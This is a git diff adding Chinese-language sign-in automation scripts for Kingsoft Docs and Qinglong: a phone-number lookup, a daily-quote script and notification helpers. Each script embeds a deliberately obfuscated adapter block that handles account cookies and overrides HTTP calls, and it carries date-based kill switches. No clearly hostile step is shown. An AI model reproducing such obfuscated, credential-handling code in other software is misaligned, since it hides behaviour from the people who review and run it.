_0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + // push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i `${item.name}: ${item.msg} ${item.msg.includes('正常') ? '✅' : '⚠️'}`) + .join('\n'); + + return [ + `${province}${city}|${operator} ${operatorEmoji}`, + `检测报告:`, + reports + ].join('\n'); + + } catch (e) { + return '响应解析失败 ❌'; + } +} + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + messageHeader[posLabel] = "👨‍🚀 " + messageName + // console.log(messageName) + + input = Range('D'+pos).Value2 + let url = "https://api.71xk.com/api/saorao?tel=" + input + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + + resp = resp.json() + // console.log(resp) + + // 提取信息 + // 写入 + output = formatPhoneInfo(resp) + console.log(output) + Application.Range('E'+pos).Value2 = output + + console.log("✨ 获取成功" ) + // message = "" + // pushDirect(message) + + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + sleep(2000); + + + return flagResultFinish +} + +// 具体的执行函数 +function execHandle(cookie, pos) { + // 清零操作,保证不同用户的消息的独立 + // 青龙适配,青龙微适配 + posHttp = 0 // 置空请求 + qlpushFlag -= 1 // 一个用户只会执行一次execHandle,因此可用于记录当前用户 + messageSuccess = ""; + messageFail = ""; + + resp = "" + + if(qlSwitch != 1){ // 选择金山文档 + resultHandle(resp, pos) + } +} \ No newline at end of file diff --git a/脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js b/脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js new file mode 100644 index 0000000..2bb31c9 --- /dev/null +++ b/脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js @@ -0,0 +1,630 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/jitang.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/jitang.js +// # Repo: imoki/sign_script +// # Path: polymerization/jitang.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: eb7e749e67c8b68e613f0afe7bb5b1ebe0bf93161c69226bb13cd4b7b736f6ab +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "鸡汤" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:jitang + 环境变量值:无(修改这里) +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "jitang"; // 分配置表名称, (修改这里) +var pushHeader = "【鸡汤】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return 